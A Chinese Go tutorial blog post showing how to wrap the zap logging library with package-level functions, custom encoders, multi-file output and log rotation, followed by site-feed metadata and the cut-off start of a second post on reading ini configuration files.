我们看到zap的写日志性能是logrus的4倍，且每op仅一次内存分配，相比之下，logrus在性能和内存分配方面的确逊色不少。\n有优点，就有不足。前面也说过，虽然zap在性能方面一骑绝尘，但是在使用体验方面却给开发者留下“阴影”。就比如在上面的性能基准测试中，考虑测试过程中的日志输出，我们没有采用默认的向stdout或stderr写入，而是将output设置为io.Discard。这样的改变在logrus中仅需一行：\nlogger.SetOutput(io.Discard) 而在zap项目的官方首页中，我居然没有找到进行这一变更的操作方法，在一阵查询和阅读后，才找到正确的方法(注：方法不唯一)：\ncfg := zap.NewProductionConfig() core := zapcore.NewCore( zapcore.NewJSONEncoder(cfg.EncoderConfig), zapcore.AddSync(io.Discard), zapcore.InfoLevel, ) logger := zap.New(core) 上面的logrus和zap在创建写向io.Discard的logger时的方法对比很直观地反映出两者在使用体验上的差异。\n那么选择了zap后，我们如何能更好地使用zap以尽量弥合与logrus等log库在体验方面的差距呢？这就是本文想要和大家分享的内容。\n2. 对zap进行封装，让其更好用 进入Go世界后，大家使用的第一个log库想必是Go标准库自带的log包，log包可谓是“开箱即用”：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/stdlog/demo1.go import \u0026#34;log\u0026#34; func main() { log.Println(\u0026#34;this is go standard log package\u0026#34;) } 上面的示例代码直接向标准错误(stderr)输出一行日志内容，而我们居然连一个logger变量都没有创建。即便是将日志写入文件，在log包看来也是十分easy的事情，看下面代码段：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/stdlog/demo2.go package main import ( \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; ) func main() { file, err := os.OpenFile(\u0026#34;./demo2.log\u0026#34;, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) if err != nil { panic(err) } log.SetOutput(file) log.Println(\u0026#34;this is go standard log package\u0026#34;) } 我们仅需要将实现了io.Writer的os.File传给log包的SetOutput函数即可。这种无需创建logger变量而是直接使用包名+函数的方式写日志的方式减少了传递和管理logger变量的复杂性，这种使用者体验是我们对zap进行封装的目标。不过，我们也要做到心里有数：zap是一个通用的log库，我们封装后，只需提供我们所需的特性即可，没有必要再封装成一个像zap一样通用的库。另外用户只需依赖我们封装后的log包，而无需显式依赖zap/zapcore。\n下面我们就来建立demo1：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/demo1 $tree demo1 demo1 ├── go.mod ├── go.sum ├── main.go └── pkg ├── log │ └── log.go └── pkg1 └── pkg1.go 我们对zap的封装在pkg/log/log.go中：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/demo1/pkg/log/log.go package log import ( \u0026#34;io\u0026#34; \u0026#34;os\u0026#34; \u0026#34;go.uber.org/zap\u0026#34; \u0026#34;go.uber.org/zap/zapcore\u0026#34; ) type Level = zapcore.Level const ( InfoLevel Level = zap.InfoLevel // 0, default level WarnLevel Level = zap.WarnLevel // 1 ErrorLevel Level = zap.ErrorLevel // 2 DPanicLevel Level = zap.DPanicLevel // 3, used in development log // PanicLevel logs a message, then panics PanicLevel Level = zap.PanicLevel // 4 // FatalLevel logs a message, then calls os.Exit(1). FatalLevel Level = zap.FatalLevel // 5 DebugLevel Level = zap.DebugLevel // -1 ) type Field = zap.Field func (l *Logger) Debug(msg string, fields ...Field) { l.l.Debug(msg, fields...) } func (l *Logger) Info(msg string, fields ...Field) { l.l.Info(msg, fields...) } func (l *Logger) Warn(msg string, fields ...Field) { l.l.Warn(msg, fields...) } func (l *Logger) Error(msg string, fields ...Field) { l.l.Error(msg, fields...) } func (l *Logger) DPanic(msg string, fields ...Field) { l.l.DPanic(msg, fields...) } func (l *Logger) Panic(msg string, fields ...Field) { l.l.Panic(msg, fields...) } func (l *Logger) Fatal(msg string, fields ...Field) { l.l.Fatal(msg, fields...) } // function variables for all field types // in github.com/uber-go/zap/field.go var ( Skip = zap.Skip Binary = zap.Binary Bool = zap.Bool Boolp = zap.Boolp ByteString = zap.ByteString ... ... Float64 = zap.Float64 Float64p = zap.Float64p Float32 = zap.Float32 Float32p = zap.Float32p Durationp = zap.Durationp ... ... Any = zap.Any Info = std.Info Warn = std.Warn Error = std.Error DPanic = std.DPanic Panic = std.Panic Fatal = std.Fatal Debug = std.Debug ) // not safe for concurrent use func ResetDefault(l *Logger) { std = l Info = std.Info Warn = std.Warn Error = std.Error DPanic = std.DPanic Panic = std.Panic Fatal = std.Fatal Debug = std.Debug } type Logger struct { l *zap.Logger // zap ensure that zap.Logger is safe for concurrent use level Level } var std = New(os.Stderr, int8(InfoLevel)) func Default() *Logger { return std } // New create a new logger (not support log rotating). func New(writer io.Writer, level Level) *Logger { if writer == nil { panic(\u0026#34;the writer is nil\u0026#34;) } cfg := zap.NewProductionConfig() core := zapcore.NewCore( zapcore.NewJSONEncoder(cfg.EncoderConfig), zapcore.AddSync(writer), zapcore.Level(level), ) logger := \u0026amp;Logger{ l: zap.New(core), level: level, } return logger } func (l *Logger) Sync() error { return l.l.Sync() } func Sync() error { if std != nil { return std.Sync() } return nil } 在这个封装中，我们有如下几点说明：\n参考标准库log包，我们提供包级函数接口，底层是创建的默认Logger: std； 你可以使用New函数创建了自己的Logger变量，但此时只能使用该实例的方法实现log输出，如果期望使用包级函数接口输出log，需要调用ResetDefault替换更新std实例的值，这样后续调用包级函数(Info、Debug）等就会输出到新实例的目标io.Writer中了。不过最好在输出任何日志前调用ResetDefault换掉std； 由于zap在输出log时要告知具体类型，zap封装出了Field以及一些sugar函数(Int、String等)，这里为了不暴露zap给用户，我们使用type alias语法定义了我们自己的等价于zap.Field的类型log.Field： type Field = zap.Field 我们基于“函数是一等公民”的特性，将zap的一些配合log输出的sugar函数（Int、String等）暴露给用户（这也是Go单元测试在export_test.go经常用到的方法）： var ( Skip = zap.Skip Binary = zap.Binary Bool = zap.Bool Boolp = zap.Boolp ByteString = zap.ByteString ... ... ) 我们使用method value语法将std实例的各个方法以包级函数的形式暴露给用户，简化用户对logger实例的获取： var ( Info = std.Info Warn = std.Warn Error = std.Error DPanic = std.DPanic Panic = std.Panic Fatal = std.Fatal Debug = std.Debug ) 下面是我们利用默认std使用包级函数直接输出日志到stderr的示例：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/demo1/main.go package main import ( \u0026#34;github.com/bigwhite/zap-usage/pkg/log\u0026#34; \u0026#34;github.com/bigwhite/zap-usage/pkg/pkg1\u0026#34; ) func main() { defer log.Sync() log.Info(\u0026#34;demo1:\u0026#34;, log.String(\u0026#34;app\u0026#34;, \u0026#34;start ok\u0026#34;), log.Int(\u0026#34;major version\u0026#34;, 2)) pkg1.Foo() } 在这个main.go中，我们像标准库log包那样直接使用包级函数实现日志输出，同时我们无需创建logger实例，也无需管理和传递logger实例，在log包的另外一个用户pkg1包中，我们同样可以直接使用包级函数输出log：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/demo1/pkg/pkg1/pkg1.go package pkg1 import \u0026#34;github.com/bigwhite/zap-usage/pkg/log\u0026#34; func Foo() { log.Info(\u0026#34;call foo\u0026#34;, log.String(\u0026#34;url\u0026#34;, \u0026#34;https://tonybai.com\u0026#34;), log.Int(\u0026#34;attempt\u0026#34;, 3)) } 如果你不想使用默认的std，而是要创建一个写入文件系统文件的logger，我们可以这样处理：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/demo1/main_new_logger.go package main import ( \u0026#34;os\u0026#34; \u0026#34;github.com/bigwhite/zap-usage/pkg/log\u0026#34; \u0026#34;github.com/bigwhite/zap-usage/pkg/pkg1\u0026#34; ) func main() { file, err := os.OpenFile(\u0026#34;./demo1.log\u0026#34;, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) if err != nil { panic(err) } logger := log.New(file, log.InfoLevel) log.ResetDefault(logger) defer log.Sync() log.Info(\u0026#34;demo1:\u0026#34;, log.String(\u0026#34;app\u0026#34;, \u0026#34;start ok\u0026#34;), log.Int(\u0026#34;major version\u0026#34;, 2)) pkg1.Foo() } 我们使用log.New创建一个新的Logger实例，然后通过log.ResetDefault用其替换掉std，这样后续的包级函数调用(log.Info)就会使用新创建的Logger实例了。\n3. 自定义encoder 运行上面的demo1，我们会得到类似于下面格式的日志内容：\n{\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1625954037.630399,\u0026#34;msg\u0026#34;:\u0026#34;demo1:\u0026#34;,\u0026#34;app\u0026#34;:\u0026#34;start ok\u0026#34;,\u0026#34;major version\u0026#34;:2} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1625954037.630462,\u0026#34;msg\u0026#34;:\u0026#34;call foo\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;https://tonybai.com\u0026#34;,\u0026#34;attempt\u0026#34;:3} 我们可以定制zap的输出内容格式。\n在定制之前，我们先来看看zap的内部结构：\n图来自Go: How Zap Package is Optimized(见参考资料)\n和其他log库相似，zap也是由创建logger与写log两个关键过程组成。其中zap的核心是名为zapcore.Core抽象，Core是zap定义的一个log接口，正如其名，围绕着这个Core，zap提供上层log对象以及相应的方法(zap.Logger就组合了zapcore.Core)，开发者同样可以基于该接口定制自己的log包（比如：前面我们在New函数的实现）。\n我们一般通过zapcore.NewCore函数创建一个实现了zapcore.Core的实例，NewCore接收三个参数，也是Core的主要组成部分，它们如下图：\n┌───────────────┐ │ │ │ │ ┌─────────►│ Encoder │ │ │ │ │ │ │ │ └───────────────┘ ┌────────────────┐ │ │ ├────┘ │ │ ┌───────────────┐ │ │ │ │ │ Core ├──────────────►│ WriteSyncer │ │ │ │ │ │ ├─────┐ │ │ └────────────────┘ │ └───────────────┘ │ │ │ ┌───────────────┐ │ │ │ └────────►│ LevelEnabler │ │ │ │ │ └───────────────┘ Encoder是日志消息的编码器； WriteSyncer是支持Sync方法的io.Writer，含义是日志输出的地方，我们可以很方便的通过zap.AddSync将一个io.Writer转换为支持Sync方法的WriteSyncer； LevelEnabler则是日志级别相关的参数。 由此我们看到要定制日志的输出格式，我们的重点是Encoder。\n从大类别上分，zap内置了两类编码器，一个是ConsoleEncoder，另一个是JSONEncoder。ConsoleEncoder更适合人类阅读，而JSONEncoder更适合机器处理。zap提供的两个最常用创建Logger的函数：NewProduction和NewDevelopment则分别使用了JSONEncoder和ConsoleEncoder。两个编码器默认输出的内容对比如下：\n// ConsoleEncoder（NewDevelopment创建) 2021-07-11T09:39:04.418+0800 INFO zap/testzap2.go:12 failed to fetch URL {\u0026#34;url\u0026#34;: \u0026#34;localhost:8080\u0026#34;, \u0026#34;attempt\u0026#34;: 3, \u0026#34;backoff\u0026#34;: \u0026#34;1s\u0026#34;} // JSONEncoder (NewProduction创建) {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1625968332.269727,\u0026#34;caller\u0026#34;:\u0026#34;zap/testzap1.go:12\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;failed to fetch URL\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;localhost:8080\u0026#34;,\u0026#34;attempt\u0026#34;:3,\u0026#34;backoff\u0026#34;:1} 我们可以看到两者差异巨大！ConsoleEncoder输出的内容跟适合我们阅读，而JSONEncoder输出的结构化日志更适合机器/程序处理。前面我们说了，我们封装的log包不是要做通用log包，我们无需同时支持这两大类Encoder，于是我们在上面的示例选择采用的JSONEncoder：\ncore := zapcore.NewCore( zapcore.NewJSONEncoder(cfg.EncoderConfig), zapcore.AddSync(writer), zapcore.Level(level), ) 基于Encoder，我们可以定制的内容有很多，多数开发人员可能都会对日期格式、是否显示此条日志的caller信息等定制感兴趣。\nzap库自身也提供了基于功能选项模式的Option接口：\n// zap options.go type Option interface { apply(*Logger) } func WithCaller(enabled bool) Option { return optionFunc(func(log *Logger) { log.addCaller = enabled }) } 我们的log库如果要提供一定的Encoder定制能力，我们也需要像Field那样通过type alias语法将zap.Option暴露给用户，同时以函数类型变量的形式将zap的部分option导出给用户。至于时间戳，我们选择一种适合我们的格式后可固定下来。下面是demo1的log的基础上增加了一些对encoder的定制功能而形成的demo2 log包：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/demo2/pkg/log/log.go var std = New(os.Stderr, InfoLevel, WithCaller(true)) type Option = zap.Option var ( WithCaller = zap.WithCaller AddStacktrace = zap.AddStacktrace ) // New create a new logger (not support log rotating). func New(writer io.Writer, level Level, opts ...Option) *Logger { if writer == nil { panic(\u0026#34;the writer is nil\u0026#34;) } cfg := zap.NewProductionConfig() cfg.EncoderConfig.EncodeTime = func(t time.Time, enc zapcore.PrimitiveArrayEncoder) { enc.AppendString(t.Format(\u0026#34;2006-01-02T15:04:05.000Z0700\u0026#34;)) } core := zapcore.NewCore( zapcore.NewJSONEncoder(cfg.EncoderConfig), zapcore.AddSync(writer), zapcore.Level(level), ) logger := \u0026amp;Logger{ l: zap.New(core, opts...), level: level, } return logger } 定制后，我们的log包输出的内容就变成了如下这样了：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/demo2/ $go run main.go {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:\u0026#34;2021-07-11T10:45:38.858+0800\u0026#34;,\u0026#34;caller\u0026#34;:\u0026#34;log/log.go:33\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;demo1:\u0026#34;,\u0026#34;app\u0026#34;:\u0026#34;start ok\u0026#34;} 4. 写入多log文件 定制完encoder，我们再来看看writeSyncer。nginx想必没人没用过，nginx有两个重要的日志文件：access.log和error.log，前者是正常的访问日志，后者则是报错日志。如果我们也要学习nginx，为业务系统建立两类日志文件，一类类似于access.log，记录正常业务吹的日志，另外一类则类似error.log，记录系统的出错日志，我们该如何设计和实现？有人可能会说，那就建立两个logger呗。没错，这的确是一个方案。但如果我就想使用包级函数来写多个log文件，并且无需传递logger实例呢？zap提供了NewTee这个导出函数就是用来写多个日志文件的。\n下面我们就来用demo3来实现这个功能，我们也对外提供一个NewTee的函数，用于创建写多个log文件的logger：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/demo3/pkg/log/log.go type LevelEnablerFunc func(lvl Level) bool type TeeOption struct { W io.Writer Lef LevelEnablerFunc } func NewTee(tops []TeeOption, opts ...Option) *Logger { var cores []zapcore.Core cfg := zap.NewProductionConfig() cfg.EncoderConfig.EncodeTime = func(t time.Time, enc zapcore.PrimitiveArrayEncoder) { enc.AppendString(t.Format(\u0026#34;2006-01-02T15:04:05.000Z0700\u0026#34;)) } for _, top := range tops { top := top if top.W == nil { panic(\u0026#34;the writer is nil\u0026#34;) } lv := zap.LevelEnablerFunc(func(lvl zapcore.Level) bool { return top.Lef(Level(lvl)) }) core := zapcore.NewCore( zapcore.NewJSONEncoder(cfg.EncoderConfig), zapcore.AddSync(top.W), lv, ) cores = append(cores, core) } logger := \u0026amp;Logger{ l: zap.New(zapcore.NewTee(cores...), opts...), } return logger } 我们看到由于多个日志文件可能会根据写入的日志级别选择是否落入文件，于是我们提供了一个TeeOption类型，类型定义中包含一个io.Writer以及一个level enabler func，我们来看一下如何使用这个NewTee函数：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/demo3/main.go package main import ( \u0026#34;os\u0026#34; \u0026#34;github.com/bigwhite/zap-usage/pkg/log\u0026#34; ) func main() { file1, err := os.OpenFile(\u0026#34;./access.log\u0026#34;, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) if err != nil { panic(err) } file2, err := os.OpenFile(\u0026#34;./error.log\u0026#34;, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) if err != nil { panic(err) } var tops = []log.TeeOption{ { W: file1, Lef: func(lvl log.Level) bool { return lvl \u0026lt;= log.InfoLevel }, }, { W: file2, Lef: func(lvl log.Level) bool { return lvl \u0026gt; log.InfoLevel }, }, } logger := log.NewTee(tops) log.ResetDefault(logger) log.Info(\u0026#34;demo3:\u0026#34;, log.String(\u0026#34;app\u0026#34;, \u0026#34;start ok\u0026#34;), log.Int(\u0026#34;major version\u0026#34;, 3)) log.Error(\u0026#34;demo3:\u0026#34;, log.String(\u0026#34;app\u0026#34;, \u0026#34;crash\u0026#34;), log.Int(\u0026#34;reason\u0026#34;, -1)) } 我们建立两个TeeOption，分别对应access.log和error.log，前者接受level\u0026lt;=info级别的日志，后者接受level\u0026gt;error级别的日志。我们运行一下该程序：\n$go run main.go $cat access.log {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:\u0026#34;2021-07-11T12:09:47.736+0800\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;demo3:\u0026#34;,\u0026#34;app\u0026#34;:\u0026#34;start ok\u0026#34;,\u0026#34;major version\u0026#34;:3} $cat error.log {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:\u0026#34;2021-07-11T12:09:47.737+0800\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;demo3:\u0026#34;,\u0026#34;app\u0026#34;:\u0026#34;crash\u0026#34;,\u0026#34;reason\u0026#34;:-1} 如我们预期，不同level的日志写入到不同文件中了，而我们只需调用包级函数即可，无需管理和传递不同logger。\n5. 让日志文件支持自动rotate（轮转） 如果log写入文件，那么文件迟早会被写满！我们不能坐视不管！业内通用的方案是log rotate（轮转），即当log文件size到达一定大小时，会归档该文件，并重新创建一个新文件继续写入，这个过程对应用是透明无感知的。\n而log rotate方案通常有两种，一种是基于logrotate工具的外部方案，一种是log库自身支持轮转。zap库与logrotate工具的兼容性似乎有些问题，zap官方FAQ也推荐第二种方案。\n不过zap并不是原生支持rotate，而是通过外部包来支持，zap提供了WriteSyncer接口可以方便我们为zap加入rotate功能。目前在支持logrotate方面，natefinch的lumberjack是应用最为官方的包，下面我们来看看如何为demo3的多日志文件增加logrotate：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/demo4/pkg/log/log.go type RotateOptions struct { MaxSize int MaxAge int MaxBackups int Compress bool } type TeeOption struct { Filename string Ropt RotateOptions Lef LevelEnablerFunc } func NewTeeWithRotate(tops []TeeOption, opts ...Option) *Logger { var cores []zapcore.Core cfg := zap.NewProductionConfig() cfg.EncoderConfig.EncodeTime = func(t time.Time, enc zapcore.PrimitiveArrayEncoder) { enc.AppendString(t.Format(\u0026#34;2006-01-02T15:04:05.000Z0700\u0026#34;)) } for _, top := range tops { top := top lv := zap.LevelEnablerFunc(func(lvl zapcore.Level) bool { return top.Lef(Level(lvl)) }) w := zapcore.AddSync(\u0026amp;lumberjack.Logger{ Filename: top.Filename, MaxSize: top.Ropt.MaxSize, MaxBackups: top.Ropt.MaxBackups, MaxAge: top.Ropt.MaxAge, Compress: top.Ropt.Compress, }) core := zapcore.NewCore( zapcore.NewJSONEncoder(cfg.EncoderConfig), zapcore.AddSync(w), lv, ) cores = append(cores, core) } logger := \u0026amp;Logger{ l: zap.New(zapcore.NewTee(cores...), opts...), } return logger } 我们在TeeOption中加入了RotateOptions（当然这种绑定并非必须)，并使用lumberjack.Logger作为io.Writer传给zapcore.AddSync，这样创建出来的logger既有写多日志文件的能力，又让每种日志文件具备了自动rotate的功能。\n我们在main中使用该log：\n// github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage/main.go package main import ( \u0026#34;github.com/bigwhite/zap-usage/pkg/log\u0026#34; ) func main() { var tops = []log.TeeOption{ { Filename: \u0026#34;access.log\u0026#34;, Ropt: log.RotateOptions{ MaxSize: 1, MaxAge: 1, MaxBackups: 3, Compress: true, }, Lef: func(lvl log.Level) bool { return lvl \u0026lt;= log.InfoLevel }, }, { Filename: \u0026#34;error.log\u0026#34;, Ropt: log.RotateOptions{ MaxSize: 1, MaxAge: 1, MaxBackups: 3, Compress: true, }, Lef: func(lvl log.Level) bool { return lvl \u0026gt; log.InfoLevel }, }, } logger := log.NewTeeWithRotate(tops) log.ResetDefault(logger) // 为了演示自动rotate效果，这里多次调用log输出 for i := 0; i \u0026lt; 20000; i++ { log.Info(\u0026#34;demo3:\u0026#34;, log.String(\u0026#34;app\u0026#34;, \u0026#34;start ok\u0026#34;), log.Int(\u0026#34;major version\u0026#34;, 3)) log.Error(\u0026#34;demo3:\u0026#34;, log.String(\u0026#34;app\u0026#34;, \u0026#34;crash\u0026#34;), log.Int(\u0026#34;reason\u0026#34;, -1)) } } 运行上述main包，我们将看到如下输出：\n// demo4 $go run main.go $ls -l total 3680 drwxr-xr-x 10 tonybai staff 320 7 11 12:54 ./ drwxr-xr-x 8 tonybai staff 256 7 11 12:23 ../ -rw-r--r-- 1 tonybai staff 3938 7 11 12:54 access-2021-07-11T04-54-04.697.log.gz -rw-r--r-- 1 tonybai staff 1011563 7 11 12:54 access.log -rw-r--r-- 1 tonybai staff 3963 7 11 12:54 error-2021-07-11T04-54-04.708.log.gz -rw-r--r-- 1 tonybai staff 851580 7 11 12:54 error.log 我们看到access.log和error.log都在size超过1M后完成了一次自动轮转，归档的日志也按照之前的配置(compress)进行了压缩。\n6. 小结 本文对zap日志库的使用方法做了深度说明，包括对zap进行封装的一种方法，使得我们可以像标准库log包那样通过包级函数直接输出log而无需管理和传递logger变量；我们可以自定义zap encoder（时间、是否输出caller等）；通过NewTee可以创建一次性写入多个日志文件的logger，并且可以通过log level判断是否接受写入；最后，我们让zap日志支持了自动轮转。\n如果说有不足，那就是zap不支持动态设置全局logger的日志级别，不过似乎有第三方方案，这里就不深入了，作为遗留问题留给大家了。\n本文涉及到的代码可以在这里下载： https://github.com/bigwhite/experiments/tree/master/uber-zap-advanced-usage\n7. 参考资料 Go: How Zap Package is Optimized – https://medium.com/@blanchon.vincent/go-how-zap-package-is-optimized-dbf72ef48f2d 深度 | 从Go高性能日志库zap看如何实现高性能Go组件 – https://mp.weixin.qq.com/s/i0bMh_gLLrdnhAEWlF-xDw “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/07/14/uber-zap-advanced-usage/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/uber-zap-advanced-usage-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/07/14/uber-zap-advanced-usage\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/07/14/uber-zap-advanced-usage\"\u003ehttps://tonybai.com/2021/07/14/uber-zap-advanced-usage\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"1-引子\"\u003e1. 引子\u003c/h3\u003e\n\u003cp\u003e日志在后端系统中有着重要的地位，通过日志不仅可以直观看到程序的当前运行状态，更重要的是日志可以在程序发生问题时为开发人员提供线索。\u003c/p\u003e","title":"一文告诉你如何用好uber开源的zap日志库"},{"content":"\n本文永久链接 – https://tonybai.com/2021/07/10/read-ini-config-item-by-passing-section-key\n配置文件读取是很多Go项目必备的功能，这方面社区提供的方案也相对成熟稳定。但之前写这部分代码时除了使用了针对不同配置文件格式（比如：ini、toml等）的驱动包之外，很少直接使用第三方包对读取出的配置项的值进行管理。于是我们就面对这样一个问题：其他包如果要使用这些被读取出的配置项的值该如何做呢？我们以读取ini格式承载的配置文件为例，来简单说说。\n1. 全局变量法 这是最粗糙的方法，但却是最易理解的方法。我们建立一个config包，在main函数中读取配置文件并将读取到的配置项信息存放在config包的一个导出的全局变量中，这样其他包要想获取配置文件中配置项的信息，直接通过该全局变量读取即可。下面的demo1就是一个使用全局变量组织读取出的配置项信息的示例项目，其代码结构如下：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo1 demo1 ├── conf │ └── demo.ini ├── go.mod ├── go.sum ├── main.go └── pkg ├── config │ └── config.go └── pkg1 └── pkg1.go demo1中的conf/demo.ini中存储了下面这些配置项信息：\n$cat demo.ini [server] id = 100001 port = 23333 tls_port = 83333 [log] level = 0; info:0, warn: 1, error: 2, dpanic:3, panic:4, fatal: 5, debug: -1 compress = true ; indicate whether the rotated log files should be compressed using gzip (default true) path = \u0026#34;./log/demo.log\u0026#34; ; if it is empty, we use default logger(to stderr) max_age = 3 ; the maximum number of days to retain old log files based on the timestamp encoded in their filename maxbackups = 7 ; the maximum number of old log files to retain (default 7) maxsize = 100 ; the maximum size in megabytes of the log file before it gets rotated (default 100) [debug] profile_on = true ;add profile web server for app to enable pprof through web profile_port = 8091 ; profile web port 我们通过config包读取该配置文件（基于github.com/go-ini/ini包实现ini配置文件读取）：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo1/pkg/config/config.go package config import ( ini \u0026#34;github.com/go-ini/ini\u0026#34; ) type Server struct { Id string `ini:\u0026#34;\u0026#34;` Port int `ini:\u0026#34;port\u0026#34;` TlsPort int `ini:\u0026#34;tls_port\u0026#34;` } type Log struct { Compress bool `ini:\u0026#34;compress\u0026#34;` LogPath string `ini:\u0026#34;path\u0026#34;` MaxAge int `ini:\u0026#34;max_age\u0026#34;` MaxBackups int `ini:\u0026#34;maxbackups\u0026#34;` MaxSize int `ini:\u0026#34;maxsize\u0026#34;` } type Debug struct { ProfileOn bool `ini:\u0026#34;profile_on\u0026#34;` ProfilePort string `ini:\u0026#34;profile_port\u0026#34;` } type IniConfig struct { Server `ini:\u0026#34;server\u0026#34;` Log `ini:\u0026#34;log\u0026#34;` Debug `ini:\u0026#34;debug\u0026#34;` } var Config = \u0026amp;IniConfig{} func InitFromFile(path string) error { cfg, err := ini.Load(path) if err != nil { return err } return cfg.MapTo(Config) } 这是一种典型的Go通过struct field tag与ini配置文件中section和key绑定读取的示例，我们在main包中调用InitFromFile读取ini配置文件：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo1/main.go package main import ( \u0026#34;github.com/bigwhite/readini/pkg/config\u0026#34; \u0026#34;github.com/bigwhite/readini/pkg/pkg1\u0026#34; ) func main() { err := config.InitFromFile(\u0026#34;conf/demo.ini\u0026#34;) if err != nil { panic(err) } pkg1.Foo() } 读取后的配置项信息存储在config.Config这个全局变量中。在其他包中（比如pkg/pkg1/pkg1.go），我们可直接访问该全局变量获取配置项信息：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo1/pkg/pkg1/pkg1.go package pkg1 import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/bigwhite/readini/pkg/config\u0026#34; ) func Foo() { fmt.Printf(\u0026#34;%#v\\n\u0026#34;, config.Config) } 这种方式很简单、直观也易于理解，但以全局变量形式将配置项信息暴露给其他包，从代码设计层面，这总是会予人口实的。那么我们是否可以只暴露包函数，而不暴露具体实现呢？\n2. 通过section.key形式读取配置项 由于是采用的tag与结构体字段的绑定方法，实际配置项名字与绑定的字段名字可能是不一致的，比如下面代码段中的结构体字段TlsPort与其tag tls_port：\ntype Server struct { Id string `ini:\u0026#34;id\u0026#34;` Port int `ini:\u0026#34;port\u0026#34;` TlsPort int `ini:\u0026#34;tls_port\u0026#34;` } 这样使用config包的用户在要获取配置项值时就必须了解绑定的结构体字段的名字。如果我们不暴露这些绑定结构体的实现细节的话，config包的用户所掌握的信息仅仅就是配置文件(比如：demo.ini)本身了。\n于是一个很自然的想法就会萌发出来！我们是否可以通过section.key的形式得到对应配置项的值，比如以下面配置项为例：\n[server] id = 100001 port = 23333 tls_port = 83333 我们需要通过server.id来获得id这个配置项的值，类似的其他配置项的获取方式是传入server.port、server.tls_port等。这样我们的config包仅需保留类似一个接收xx.yy.zz为参数的GetSectionKey函数即可，就像下面这样：\nid, ok := config.GetSectionKey(\u0026#34;server.id\u0026#34;) 接下来，我们就沿着这个思路在demo1的基础上重构为新方案demo2。下面是修改后的demo2的config包代码：\n// github.com/bigwhite/experiments/tree/master/read-ini/demo2/pkg/config/config.go package config import ( \u0026#34;reflect\u0026#34; \u0026#34;strings\u0026#34; ini \u0026#34;github.com/go-ini/ini\u0026#34; ) type server struct { Id string `ini:\u0026#34;id\u0026#34;` Port int `ini:\u0026#34;port\u0026#34;` TlsPort int `ini:\u0026#34;tls_port\u0026#34;` } type log struct { Compress bool 